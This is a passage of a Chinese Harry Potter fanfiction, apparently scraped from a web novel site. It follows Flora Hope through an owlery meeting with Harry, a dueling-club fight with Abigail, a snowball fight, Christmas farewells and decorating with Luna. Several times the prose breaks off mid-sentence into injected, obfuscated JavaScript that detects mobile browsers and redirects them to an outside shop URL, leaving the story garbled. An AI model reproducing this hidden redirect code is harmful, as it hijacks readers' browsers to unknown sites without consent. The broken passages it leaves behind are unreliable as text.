虽然不明白波特毫无道理的热情究竟从何而来,芙罗拉到底还是介绍了她的罗宾给哈利,结果没想到罗宾和海德薇竟然一齐叫起来,像是重逢旧友一样高兴。 波特也莫名其妙地高兴起来,他完全压抑不住嘴角勾起的弧度,摸着鼻子说:“海德薇好像和罗宾认识。” 芙罗拉又没瞎,她看看罗宾,看看海德薇,最后憋出声,“看起来似乎是这样的。我下午还有洛哈特教授的黑魔法防御课要上,先走了。” “但是离上课时间不是还——” “再见,波特。”飞快地把装着罗宾的鸟笼挂上去,芙罗拉不等波特还想聊几句的可怜神情,直接逃也似的冲了出去。 罗恩·韦斯莱——肯定是他在波特旁又说了什么闲话!食物都不能堵住你的嘴吗?! 哈利·波特看着芙罗拉逃难似的背影,心里其实有些感同身受。等芙罗拉的背影完全消失后,他才重新把海德薇放出来,抚摸着海德薇翅膀上的羽毛,把她伺候舒服了才离开。 等他重新回到图书馆的时候,罗恩正趴在桌子上抓着他茂密的红发,生无可恋地看着羊皮纸上的几行字。看到哈利后,他眼神立马就变了。 “哈利,你都不知道刚刚赫敏发起火来有多吓人,我只是想拿她的作业看看而已,结果她竟然直接打我手把作业抢了回去,还说绝对不会把自己的作业给我抄。梅林的胡子,明天就要交魔药学作业了啊!” 罗恩气的脖子都红了,“老蝙蝠会杀了我们的。” “我写完了,罗恩。”哈利有点不好意思,“只有你没写完。” 罗恩大吃一惊,企图用控诉的眼神杀死哈利。哈利左看右看,没看到赫敏,便问赫敏去哪了。 罗恩有气无力地回答:“还能去哪,她对石化好像又有了点想法,去找资料了呗。” 哈利抖了抖肩,称赞了一句:“不愧是赫敏。” 罗恩等哈利坐下来后,问:“你刚刚去哪了?” “猫头鹰鹏。”犹豫了下,哈利答道,“还碰到了霍普。” 罗恩很震惊,“第三次了吧,你怎么每去一次猫头鹰鹏都能碰到她?” “不知道。不过看起来她也很意外遇见我。而且她好像不是很想跟我说话的样子。” “别想多了,兄弟。”罗恩安慰地拍了拍哈利的肩,“那家伙被金妮捡到我们家时就那副闷葫芦的样子。你没见过芙罗拉小时候的样子,我要是像她那样……” 罗恩打了个冷颤,“更多的我也不太清楚,总之我们一家收养她之前,她似乎都是一个人在埃尔兰大森林那边生活。后来我们才知道她有一个爸爸,反正她的情况很复杂啦,也不知道金妮当初是怎么捡到她的。” “独自一人吗?”哈利不说话了。 “对啊。小小一个,身上全是伤,脸上也——啊,赫敏!” “罗恩,你怎么才写了这么一点,就算明天你的作业还没写完我也不会帮你的!”回来的赫敏手捧着一堆书,怒其不争,抽出一只手敲着罗恩的脑袋说。 “我知道了,这不在写吗?可恶!” 哈利毫不客气地跟赫敏一起嘲笑罗恩这幅惨兮兮的样子。 * 洛哈特的决斗俱乐部最后还是开了起来,也不知道他怎么做到的,竟然把斯内普也扯进了他的俱乐部里当指导老师。 格兰芬多里但凡听说这件事的大多半信半疑,小部分嗤之以鼻,直到看见属于格兰芬多的宝石飞速从沙漏里减少的时候才意识到这事八成是真的。 于是决斗俱乐部正式开张那天,几乎所有一二年级生都去了,高年级喜欢看热闹的也踊跃加入俱乐部。 戴蒙德·阿比盖尔自然也不意外地踏进了俱乐部的门,他本身就是斯莱特林的人,自家院长跟洛哈特的决斗,肯定是要来支持自家院长的。他一进门,德拉科·马尔福略显无聊的脸立刻就被他发现了。 德拉科·马尔福身旁围绕着许多人,基本都是些富有盛名的纯血家族的继承人,戴蒙德喊得出名字的都有好几个,他没怎么思考,抬脚便往马尔福的方向走去。 德拉科事实上并没有戴蒙德想象中的那么无聊,只是习惯性地摆出一副对什么都无所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201276|139182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谓的脸,他苍白得过头的皮肤为这一点做出了卓越的贡献,让他总能骗过很多人,至少身旁这些斯莱特林都觉得他迫不及待地想要离开。但他们错了,他对接下来要发生的事有种奇怪的预感,这让他感兴趣,非常感兴趣。 “马尔福。”德拉科看见戴蒙德朝他走过来,礼貌地颔首,他便给予同样的礼仪。他们之间不算太熟,算是勉强说得上话的关系。几句无聊的问话后,他们也不再聊天了。 万众瞩目下——主要是为了嘲笑洛哈特的丑态,德拉科兴致盎然地看着洛哈特像是话剧主人公一样隆重的登场,斯内普教授黑着脸跟在他身后,比血人巴罗还要恐怖上几分。注视着洛哈特得意洋洋的样子,德拉科已经要控制不住脸上的笑容。 重头戏还在后头,洛哈特先让这群学生自己找搭档练习魔法的运用。德拉科才不要,他来这是找笑话的,不是浪费他的魔力。旁边的潘西扯了扯他的环抱着胸的袖子,小心翼翼地问要不要跟她搭档。 “不要。”德拉科懒洋洋地拒绝了她,任潘西的脸拉的比马还长,“克拉布,或者高尔,随便什么人,他们能满足你的。” 潘西红了脸,想了很久,咬着唇找了布雷斯,布雷斯没有拒绝她。 德拉科非常满意,他环顾四周,忍不住脑中点评着周围所有人。 瞧克拉布和高尔,胡乱挥着魔杖,却一个咒语都施不出来。德拉科嫌弃地撇了撇嘴。早跟他们说至少听一下魔咒课了。 潘西和布雷斯的合作并不算太顺利,潘西一副心事重重的样子,不时还往他这看,德拉科头疼地翻了个白眼,却小心没让潘西发现,布雷斯顺着潘西的视线,似乎发现了这个行为,朝他露出了一个玩味的笑容。 无聊至极。德拉科转移了对象,一下子便被吸引了注意。一个格兰芬多的女生找上了阿比盖尔,由于那女生背对着德拉科,德拉科看不见她的脸,但他却能看见阿比盖尔带着笑容,他们看上去似乎还相谈甚欢。 有意思。格兰芬多和斯莱特林? 德拉科一下子嗅到了八卦的味道,并灵敏地竖起了耳朵。 19. 第 19 章 不可调和的矛盾往往发生在小时候。 芙罗拉几乎已经记不清过去的事情了,她的记忆像个老旧的钟表,似乎从遇见金妮的那一刻才终于迟钝地转动起来。关于阿比盖尔,记忆中也许存在这么一个男孩——眼睛很大,语气刻薄,性格上自以为是。 芙罗拉不认识他,但跟他见过一面,场面很不愉快,阿比盖尔怒目圆睁,拳头都忍不住举起,几乎要跟她打起来。 然后,芙罗拉就再也没见过他,直到11岁后来到霍格沃滋。 “瞧瞧这是谁?”阿比盖尔勾起唇,注视她的神情像只兴奋的猎犬,“来看洛哈特的笑话?” 看来他相当笃定斯内普的胜利,这甚至都不是什么需要思考的事,芙罗拉连眉毛都没动一下,只是手伸进巫师袍里,缓缓地抽出魔杖。这是个好机会,她想,巫师决斗的规则——胜者有权利命令败者一件事,败者没有资格违抗。 “洛哈特教授的笑话,”芙罗拉确保自己的动作足够缓慢,以至于能让阿比盖尔清楚地了解自己的意图,“不觉得已经看够了吗?” “哦——”阿比盖尔别有用心地拉长语调,嘴角的弧度拉得更长,“这话听起来可不怎么尊重教授。”他故意停了一下,视线停留在芙罗拉手里的魔杖,说:“早就听闻格兰芬多是个野蛮的学院,看来你已经被驯化了,真可惜,我可不想参与进你无聊的游戏,这会弄脏我的袍子。”这时他装模作样地拍了拍衣袖,语气骤然上扬。 “即使我并不缺少一件巫师袍。” 记忆是有缺陷的。在阿比盖尔发表他那番阴阳怪气的言论时,芙罗拉的思绪早已不在他身上。阿比盖尔对她无疑带有极深的恶意和攻击性,仅仅一面之缘,在他主动找到她的那一面之前,他们之间到底发生过什么? 或者说,以1989年为界限,在这个时间点的时间轴上,为什么她前面的记忆一片空白,像被人为抹去一般。 “嘿,阿比盖尔。”她直勾勾地盯着阿比盖尔。她突兀的出声引起了阿比盖尔的警惕,他纯黑的瞳孔猛然缩小,又极快地恢复过来。 “怎么,恼羞成怒了?不像你啊,霍普。” “没错。我是很不高兴。”迎着阿比盖尔瞬间变得不可置信的表情,芙罗拉报复似地微笑着说,“打一架吧,阿比盖尔。我知道你早就想这么做了。” 阿比盖尔没想到她能这么理直气壮,一下子被梗住了,他的眼睛不自然地转动,磕磕绊绊地说,“不好意识,我假使你没听到我不想弄脏我的衣服吗?”这句话的潜台词当然是他一点都不想跟芙罗拉进行巫师决斗,他不信芙罗拉看不懂他的拒绝。 芙罗拉确实看懂了,她微微一笑,仿佛长出了狐狸耳朵。 “我知道。但你不缺少一件崭新的巫师袍。”芙罗拉说,“怎么,你怕了?” 阿比盖尔哼了一声。 “你为什么想跟我决斗?这对你有什么好处?”阿比盖尔口气转冷。 “还记得被你骂的埃拉吗?”芙罗拉说。 阿比盖尔眼珠一转,似乎是在思考,“哦,那个半泥巴种。别告诉我你是为她出头,不,我的意思是,天呐,格兰芬多。”他咀嚼了一会格兰芬多这个词,脸上变幻莫测,最后他仿佛终于想通了什么,看着芙罗拉的眼神冷漠无比。 “好吧,一场决斗。”他耸肩,“还缺少一个见证人,嗯哼?我想你不会忘了这点?” “关于这个……”芙罗拉的声音被另一个尖细的声音打断了。 “关于这点,我想我可以胜任,你不会拒绝吧,阿比盖尔?” 出声的是德拉科·马尔福,芙罗拉记得他的样子——在某一个下午,与波特争吵起来的男孩。现在那个男孩站在她面前,这让芙罗拉更加注意到他苍白的皮肤。 “嘿,我记得你,你是——啊哈,这不重要,反正在某一个晚宴上我见过你,你是霍普家的?我是德拉科·马尔福,我想你应该不会不认识我。”马尔福相当自然地伸出手,朝霍普扬了扬下巴,芙罗拉顿了有几秒,看到马尔福逐渐眯起的眼睛时才缓缓把手放在马尔福手上。“芙罗拉·霍普。这是我们第三次见面。”芙罗拉说,等她说完,马尔福先放开了手,灰蓝色的眼睛皱了皱,很快放松下来。 “第三次?你记得可真牢。”他轻飘飘地说。 他转过头,声音仍旧是那种羽毛落地一样的轻快,对着阿比盖尔说,“考虑得怎么样了,我认为我是个相当不错的见证人。” “德拉科,你可真是会给我找麻烦。”阿比盖尔翻了个白眼,语气听上去却没什么不满的,马尔福迅速接上他的话,“那就这么定了。” 他拿出魔杖,在僵持的氛围里突然笑出声,他对两人都看了一眼,“现在开始?” 芙罗拉点头,阿比盖尔紧随其后,却显然没有芙罗拉那么坚定。 自马尔福举起魔杖的那一刹那,芙罗拉先发动了攻击。 “除你武器。” 阿比盖尔使了个反咒,轻松化解了魔咒。芙罗拉笑了笑,第二波攻击迅速攻下阿比盖尔。 双方你来我往了几个来回,看得出来都还算轻松的样子。 阿比盖尔大声说,“就只有这点本事吗,霍普?” 芙罗拉用一个咒语回敬了他。马尔福看看这个,看看那个,倍感无聊。他冲阿比盖尔问,“为什么不用那个?” 阿比盖尔挥舞着魔杖,声音仍然冷静:“‘那个’是哪个?” “就是‘那个’啊。”马尔福胡乱挥了几下,最后不耐烦地说,“你耍我呢。你知道我在说什么。” 阿比盖尔的眉毛高高挑起,“我想我确实知道。” “…………”马尔福说,“红牌警告。” “嗯?看来裁判也要下场了?”芙罗拉用盔甲护身挡住了阿比盖尔的飓风咒,面无表情地问。 “这倒没有。”马尔福垮下脸,“但我开始觉得当裁判不是一件有趣的事了。” “言之有理,德拉科。”阿比盖尔对芙罗拉说,“你知道吗,霍普。你与我的决斗现在看起来就像过家家,你是认真的吗?” “当然。我以为我们双方都是认真的。”芙罗拉回答,下一刻,她注意到阿比盖尔几秒的失神,立马举起魔杖,“——火焰熊熊!” 阿比盖尔霎时瞪大眼睛,但不知为何他的速度却迟缓下来,他看着身旁燃烧的烈火,脸上突然呈现出一种虚无的空白。他张了张嘴,空气中一只隐形的手抓住了他的喉咙,他开始呼吸,艰难地呼吸。 “……”没有丝毫犹豫,芙罗拉握紧了魔杖,用力咬住了后槽牙,“咒立停!” 欢舞的焰火停下了舞步,在围猎着阿比盖尔的咫尺之间湮灭了生息。 芙罗拉咳嗽了几声,她迈着胜利者的脚步,脸上却是一副失败者的表情。 “你是——怎么了?”她走近到阿比盖尔面前,注意到他咬得青紫的嘴唇。 马尔福也走过来,瞧了一下阿比盖尔的样子,耸着肩说,“老毛病了。他靠近火就一副要昏倒的样子。” 他“啧”了一声,不情愿地说,“看起来是你赢了,格兰芬多。” 芙罗拉没有理会他的发言,她蹲下身,开始查看阿比盖尔的身体,她碰到他的额头,是僵硬的冷,是害怕到极致导致无法动弹的,彻骨的冷。 为什么会这样?芙罗拉茫然地发觉一种奇异的情感充斥了她的内心——不仅仅是出于对受伤者的高度责任感, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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马上,他开始变得烦躁。“喂,你的要求是什么?别记着刚刚那个愚蠢的问题,还有那个愚蠢的要求。我是说,你找我决斗的真正的要求是什么!” 马尔福在一旁说,“怎么,你病好了原来是这幅样子?” “……”阿比盖尔偏过向着马尔福的头。马尔福一脸莫名其妙。 芙罗拉则是盯着自己的影子,那股奇怪的情绪仍然没有消退。但是,她已经无法顾及这份情感,在阿比盖尔已然承诺的前提下—— “那个烟斗,你带在身上吧。”芙罗拉说,看阿比盖尔脸色依旧不是很好,又给他施了一个保暖咒,“我的要求就是那个黄金烟斗。” “那个废物的东西啊。”阿比盖尔随意在袍子口袋里翻了一下,拿出烟斗给芙罗拉,还补充了一句,“倒也没有天天带在身上,只是看这个烟斗还算符合我的审美。” 不知道为什么,芙罗拉总感觉阿比盖尔对她的态度似乎好了很多,是错觉吗?她有些疑惑地看了一眼阿比盖尔,只看见阿比盖尔朝她翻了个白眼。 果然是错觉。她默默想道。 在她和马尔福正打算送阿比盖尔去医务室时,黑魔法防御教授吉德罗·洛哈特姗姗来迟,带着他标志的笑容,后面还跟着一个浑身黑漆漆的斯内普教授——字面意义上的,他甚至连脸都泛着黑气。 洛哈特笑容可掬,着重介绍了一下他自己,结尾顺带了一下斯内普教授。马尔福兴致勃勃,抛下阿比盖尔和芙罗拉就往最前面冲。芙罗拉觉得斯莱特林之间的友谊可能并不是那么坚固,这并不是指责斯莱特林的意思,格兰芬多们有时也不会那么热情。 她带着阿比盖尔离开了决斗俱乐部,错过了另一场戏剧的开幕。 20. 第 20 章 伴随着钟声、鲜花和笑容,尽管芙罗拉再不愿意,圣诞节还是踏着不容拒绝的脚步走近了英国的每个角落。 这一点在霍格沃滋尤为明显,弗利维教授充满激情,正在为圣诞演奏忙得脚不沾地;斯普劳特教授仍然照顾着她的魔法植物,附带上庞弗雷夫人忧虑的神情;斯内普教授和麦格教授则加大了对学院的巡视,势必要抓住导致石化的罪魁祸首—— 想到这,正坐在格兰芬多公共休息室里的壁炉旁,芙罗拉把目光移到角落里的波特,他缩着头,看起来不知所措,圆框眼镜下的绿色眼睛满是苦涩,总之,与他之前备受欢迎的样子比,简直是云泥之别。 这也并不是不能理解,在发生了那件事之后—— 波特慢慢地看向她,他注意到了这个有些许不同的视线——相比起大多数警惕和恐惧交织的目光而言,这个视线甚至称不上尖锐——并朝视线的主人露出了一个小小的笑容。 芙罗拉飞快移开了视线。她回到宿舍就被金妮和埃拉抓着说了一嘴,八卦听了一耳朵。埃拉作为一直生活在麻瓜世界的混血巫师,对蛇腔佬更多是好奇而非害怕;而金妮更多是为波特打抱不平,并宣称哈利在石化事件中不容置疑的无辜性——尽管没有任何拿得出手的原因。 是的,说了这么多,只有一个事实不可否认——波特是个蛇腔佬。 “…………” 视线所及的地方,果然是那样吧,尽是些被恐惧压倒的眼神,对于大难不死的男孩来说,这样的待遇,他有想过自己也会经历吗? “…………”忍不住又看了一眼。 这次,罗恩和赫敏坐到了波特身边,他们三个安静地待在角落,与周围人自动隔绝出了一条边界。也许,反而是他们孤立了所有人呢? 稍微,有点羡慕。 虽然只有,一点。 “圣诞节肯定是要回家的,我妈妈那时会做超级好吃的小甜饼!还有好多礼物会被放进袜子里!”埃拉说,离壁炉更近了些。 “我到时候……也会回去吧。”金妮往芙罗拉旁边挪了挪,困倦地哈了口气。然后转头问芙罗拉,“你跟我一起回家吗?” “不知道。”芙罗拉说,“可能会留在学校吧,圣诞节也去你们家,总感觉很不好意思。” “每次都说这种话。明明我——我们家每个人都欢迎你的到来。”金妮不太高兴地鼓起嘴,“明明我早就把你当作家人了……” “…………”与金妮正要垂下的眼睛对上了,明明本来没想看她那边的。那个,该怎么回答她呢?虽然确实也有相同的想法,直接用语言说出来吗——唔嗯,这也太直接了,总感觉不太擅长这样做。 “嘿诶,你是脸红了吗,芙罗拉?”许久没说话的埃拉问,语气十足的好奇。 下一秒金妮就侧过头,芙罗拉有一点失望。 “哈啊,插不进你们两之间,这就是青梅之间不容第三者出现的感情吗。可恶,我却只有一个尽惹我生气的弟弟。”埃拉把身上的衣服紧了紧,像是一只皮毛茸松的小熊。 “还有两天就是圣诞了,既然芙罗拉你不回去,我们要不要趁没走之前一起出去玩?”埃拉提议道。 “去哪啊,除了霍格沃滋,我们现在哪也去不了,还有不知道在哪的石化凶手在。”金妮觉得这个主意并不靠谱。 “霍格沃滋里面也行啊,正好这几天下雪了,不然我们去打雪仗?”埃拉又说。 金妮考虑了几秒,问芙罗拉:“打雪仗吗?” 她一说芙罗拉就想起了莫莉夫人给她做的生日礼物——一双温暖的毛绒手套,看来这礼物就是为此而生的。 “我没问题。”芙罗拉点头,然后缩了缩脖子——显然,她喜欢冬天烤着火焰的壁炉。 但是喜欢的朋友和家人,会比火焰更加炙热的,不是吗? 芙罗拉最后往哈利的方向看了一眼。那点说不清道不明的一点点羡慕便随着心中某些升起的温暖而烟消云散了。 * “哦——”金妮拉长了语气,难以控制地露出一个笑容——其实她没有想笑得非常开心,但是又真的高兴,所以笑容其实有些奇怪的扭曲。 “你戴上了我送你的发卡啊!” 芙罗拉点头,举起双手,“还有莫莉夫人织的手套。” “啪”——是雪落到地上的声音。 “喂!别聊天了——”埃拉被冻得鲜红的两颊随着她说话的动作微微抖动,她的手从大雪覆盖的地上迅速攥起一个球,“快过来!” “咳咳咳……好冷啊。”乔治·威尔捂着肚子蹲在地上,吸了吸鼻子,他没戴围巾,整个人都在发抖。 金妮不甘示弱,立马也抓了个雪球朝埃拉那边扔过去,但可能她的力气太大了些,几人看着雪球穿过埃拉的头上,继续飞行了一段距离,最后竟然砸到了—— 海格肚子上! 半巨人被突如其来的雪球弄得摸不着头脑,他挠了挠过于茂密和糟乱的头发,一遍迷茫地看向四周。 金妮露出大事不好的表情,她小跑到海格身边,连连鞠躬道歉。 芙罗拉、埃拉和威尔也跑到他们身旁,芙罗拉说,“我们在打雪仗,海格。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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互相道别后,注视着海格离去的匆匆背影,埃拉叹息着说,“那些生物——希望我能有机会去看看他们。” “三年级如果你想的话,可以选神奇动物保护课。我听塞德里克说有机会还是有可能看到真正的神奇动物的。”威尔说,然后转过头问芙罗拉,“对了,我记得你是不是不太喜欢神奇动物之类的?霍普?你在听吗?” “…………” 「你的心正如霜雪一般冻结。」 她瞪着地面纯白的异类。黑色的影子正在诘笑。 她想起了一件微不足道的小事。 ——。 金妮正是在两个月前被关了禁闭! 21. 第 21 章 “那,我走了。” “嗯,一路顺风。” 金妮戴着一条红色的格兰芬多围巾,小半张脸都躲进里面,通往九又四分之三的火车一下接一下哼了几声,每一次鸣笛都是离别的加速。她往前迈了一步,嘴唇贴近芙罗拉的耳朵——她拥抱了芙罗拉。 “圣诞节快乐,芙罗拉。你一定想不到我给你准备了什么礼物。”金妮低声说。 芙罗拉的脖颈没有丝毫遮挡物,金妮贴上来时,红围巾柔软的触感便立刻像触电一样导在全身。她吸了吸鼻子,也说,“圣诞快乐,金妮!礼物我会让罗宾送过去的。” “别告诉我又是预言家日报推荐的圣诞礼物。”金妮不带期望地说,“至少别是道坎斯家的墨水了,他们家肯定给预言家日报塞钱了,竟然到现在都没倒闭。” “难怪上次我拿你的墨水一直写不出来字!”一旁等金妮的罗恩郁闷地说,“那你怎么还留着用?上次骂我骂得那么凶,我都以为是我弄坏了。” “……”金妮说,“叫你乱拿我东西,活该。” 她不高兴地翘起嘴,模样像是被逗弄的小猫,她对芙罗拉说,“我走了,拜拜。” “再见。”芙罗拉挥挥手,注视着韦斯莱一家离开的背影,突然大声说,“去年我送你的明明是我自己做的蛋糕!” “哦,得了吧——”已经到车门的金妮也大声回应她,“弗雷德和乔治的菜谱比道坎斯家的墨水还糟糕!”她跳进车门。 芙罗拉不敢置信,她觉得那个蛋糕明明味道不错—— 好吧,幸好今年的礼物不是金妮讨厌的那些东西。 赫奇帕奇拍了拍她的肩膀,她回过神来,对他说,“噢,也提前祝你圣诞节快乐,威尔。” “呃,谢谢,圣诞快乐。不,我不是说这个。虽然烟斗现在放在你身上没出什么问题的样子,但是——那毕竟是诅咒的东西吧?要不这次回家我还是带回去看看能不能解除上面的诅咒?”威尔尴尬地摸了摸鼻子,看来他没意识到自己紧张时都会下意识做出这个动作。 芙罗拉想起那个现在在她口袋里烟斗,“我不知道。可是这个烟斗就算放在你身上也同样负有诅咒的影响。说真的,你不会在烟斗上同时诅咒了你自己吧?” “这个……不会那样……吧。”他深深地叹了口气,“也许是我曾曾曾祖母还在这烟斗上施了些魔法,我得回去查查原因。” 威尔疲惫地笑了笑,“我也不知道为什么你没有被烟斗诅咒,或许这就是烟斗的秘密——在我找到它之前,可以麻烦你带着它吗?” 芙罗拉耸耸肩,“这没什么,我会这样做的。” “……”威尔似乎还想说什么,但直到他登上火车的时候,都没能说出来。 不过就算他什么都不说,芙罗拉也能猜个七七八八——嘛,总之就是那个吧,突如其来的愧疚和自责心之类的。并非不能理解,威尔事实上虽然是个有着阴暗心理的赫奇帕奇男孩,但也不能否认他身上同样充满着赫奇帕奇的特质。比如说,对待朋友的真诚。 结合威尔自身的经历而言,芙罗拉认为这点还是相当可贵。希望不是她判断有误。说起来,那时偷听埃拉和威尔的对话时,她竟然连“只是区区诅咒”这样的话都说得出口,现在想来未免也太尴尬了。明明只是想从他们口中知道真相而已,结果竟然脱口而出那种中二爆表的话。 难道她其实是那种性格的人吗?其实内心相当自满的存在?不,对于她擅长的东西,她确实比较自信没错。不过,她其实还是很介意诅咒这种一听就不是什么好事的东西……等等,为什么突然就想到这种事情了—— 果然是最近大脑的工作量又加大了这个原因? 埃拉相当兴奋,早早就登上了火车,芙罗拉只来得及对她说一句"圣诞快乐"。真是风风火火的人,一看就是那种不适合坐在办公室做一整天文书工作的人。 到了下午,还待在霍格沃兹的学生肉眼可见的少,不过还是有可怜虫圣诞节也不回家的——啊,别误会,当然不是说芙罗拉自己是可怜虫,嘛,虽然事实确实如此。不过由于芙罗拉坚定地认为自己绝对没有喜欢圣诞节的原因在,她认为自己姑且还是算不上可怜的。 说的可怜虫是哈利·波特,他的表现简直就是一个得不到糖吃的小孩。眼底的羡慕藏都藏不住,瞎子都看得出来他对圣诞节那种家人团聚、其乐融融的圣诞氛围望眼欲穿。罗恩已经跟他们韦斯莱大家族回去了,看来赫敏也差不多。 但是,现在并不是担心别人的时候。芙罗拉的神情逐渐严肃起来,她还有许多事都没弄清楚呢。 ——等等,她可没有担心哈利·波特的意思。不如说这种安静的氛围明显更适合他一些,好处就是基本没有那些恶毒的闲言碎语和刺眼扎人的视线了。 不过,怎么说呢,看来哪怕是做出了类似于拯救巫师世界这种事情的人也逃不过反复无常的人际交往关系吗? 听上去怪可悲的……不对,她怎么又想到奇怪的地方去了。她原本是这种啰嗦的性格吗? 绝对……没有吧。再来一次。 绝对没有。 * 在这个圣诞节有事要做。 ……没有包括被教授喊去帮忙这种事。 “……” “哦——是沉默寡言的性格吗?但是旁边围着你的骚扰虻真的好多啊,是在苦恼什么事吗?唔,你觉得是这条黄色的窗帘好看,还是这条绿色的呢?”面前的人为难地对比着手中两条只有颜色不一样的窗帘,在经过短暂地思考后,她紧皱的眉毛舒展开,“果然还是蓝色比较好吧。” 她这么说着,相当自然地拿出魔杖,把手里的两条窗帘都变成了蓝色。 ——老实说,在圣诞节这种节日,就是没有常识的人也知道红色才是最适合的颜色吧。 芙罗拉无言地看着她手里的两条蓝色窗帘,再慢慢转向她的脸——卢娜·洛夫古德正以极其无辜的眼神看着她。 据说是因为想看邓布利多会不会在圣诞节打扮成圣诞老人这种古怪的理由留校——好吧,虽然芙罗拉也有一点好奇,但邓布利多不会打扮成那样吧! 卢娜眨着两只亮晶晶的眼睛,她的眼睛颜色与芙罗拉格外相似,只不过她偏向银灰,而芙罗拉则是黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201279|139182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色里掺杂一些灰,“你说红色吗?” 她苦恼地说,“但一个蓝色的圣诞节很有趣,这里的红色太多了。”她指了指天花板,上面被红色的绸缎装饰着。 虽然芙罗拉根本一句话都没说,这不重要——从某种意义上有点惊悚,不,这还是不重要。诡异地是,她有被洛夫古德小小地说服了。正当芙罗拉内心激烈地挣扎时,洛夫古德已经用悬浮咒把窗帘装了上去。 “……你不觉得有哪里不对劲吗?”芙罗拉开了口。 洛夫古德开心地回答她说,“棒极了!” 芙罗拉沉默了,她盯着旁边一大片张扬的红色和呆在角落的小小一块蓝色的窗帘,怎么看怎么都不和谐。 “……”她打开手中的羊皮卷轴,认命地说,“下一个任务是图书馆。” 在角落的话,应该也没事。 没事吗? 前往图书馆的路上,洛夫古德像只永远不会停止哼唱的知更鸟一样,踏着轻快的步子。芙罗拉还仔细听了一下,发现她走路会根据她哼的调子进行调整。这样做就导致了一个古怪的情况:洛夫古德永远没跟她站在同一条线上。要不然前她几步,要不然落在后面。 “我从来没见过那么多骚扰虻围在一个人身边,你的脑子肯定塞满了骚扰虻。”洛夫古德偶尔会停下来跟她说话,“是指在我们这个年龄——大人需要烦恼的事情很多,但是一个十一岁的小孩就没那么多烦心事。” 骚扰虻——只记得好像是一种肉眼不可见的魔法生物,听名字也能知道这有什么烦人的作用。 洛夫古德扶了扶造型奇特的眼镜——那看起来像是韦斯莱双胞胎发明的东西,反正都很奇怪。她咯咯地笑着,时不时发出惊叹声,尽管芙罗拉也不知道她到底在为何惊讶。 芙罗拉的手探进口袋,碰到材质光滑的卷轴,麦格教授最近分身乏术,奔波于霍格沃兹和魔法部,也许是得知了什么不好的消息,不然普通巫师谁会整天去魔法部逛。 但麦格教授需要帮忙的事也不多,既然住在学校里,能帮忙的事还是帮一把比较好。连波特都不得不捏着鼻子去斯莱特林那边帮着收拾杂物,还要面对斯内普时不时的言语攻击——斯莱特林没有不回家的学生,整个学院只有斯内普一个人孤零零地装饰出圣诞节的样子。不,这简直比红蓝搭配还要不搭啊。 这么想的话,芙罗拉觉得跟洛夫古德一起共事也算的上十足幸运了。毕竟洛夫古德只有一点古怪的性格,而每个人性格里都有古怪的一面,只是洛夫古德愿意把这点古怪展现在所有人面前——这其实相当难,古怪就意味着不同,不同就容易遭到孤立。说不定洛夫古德是个相当坚强的人,不然就是根本没这个神经。 果然是后者吧——等一下,为什么又自说自话到了这种程度,虽然只是在心里说。难道骚扰虻真的塞满了她的脑子? 不,还是先完成图书馆的任务吧。 芙罗拉甩了甩头,试图将乱七八糟的想法置于脑后,洛夫古德又走在她前面,她蹦蹦跳跳的背影就像一只欢快的兔子—— 停住! 所以说她不喜欢圣诞节啦! 22. 第 22 章 圣诞节一大早,无论金妮多么想把自己从床上拉起来,她还是直接昏倒了——在床上。莫莉·韦斯莱接连敲了几下门,重重的“哐哐”声并没让金妮感到丝毫不适,她翻了个身,睡得香甜。被子被蹂躏得东倒西歪,身上的褶皱像哭泣的痕迹。 鞋子拖曳的噔噔声在不大的房子里回响,老旧的木板楼梯发出不能承受的嘎吱惨叫。最后是弗雷德,或者乔治——她也分不清他们两个,大声说:“别睡了金妮!!!圣诞节快乐!!!” 他们两随便中的一个从兜里掏出一个丑陋的公鸡模样的玩具,露出了贼笑。然后就只听到公鸡凄厉的叫声回荡在整个韦斯莱宅——也就是陋居。 金妮猝然惊醒,两只手烦躁地抓了一把自己凌乱的红发,门口莫莉的尖叫声立马就传进了她的耳朵。 “弗雷德!!立马把这东西关掉!” 随后双胞胎说:“不是我!妈妈你又认错了,那是乔治干的!” “那就乔治!关掉它!你想让我们的耳朵聋掉吗?!” “好的,妈妈。”过了一会,乔治说,“但其实就是弗雷德做的。” 莫莉忍无可忍地吼道,“拜托,不管是谁,关掉那个尖叫的小东西!” 不知道是不是莫莉的怒火起了效,反正世界终于安静了。再一次,后脑勺倒在柔软的枕头上,金妮已然没了睡意。但眼皮仍然很沉,她对于睡眠的渴望似乎在与日俱增。 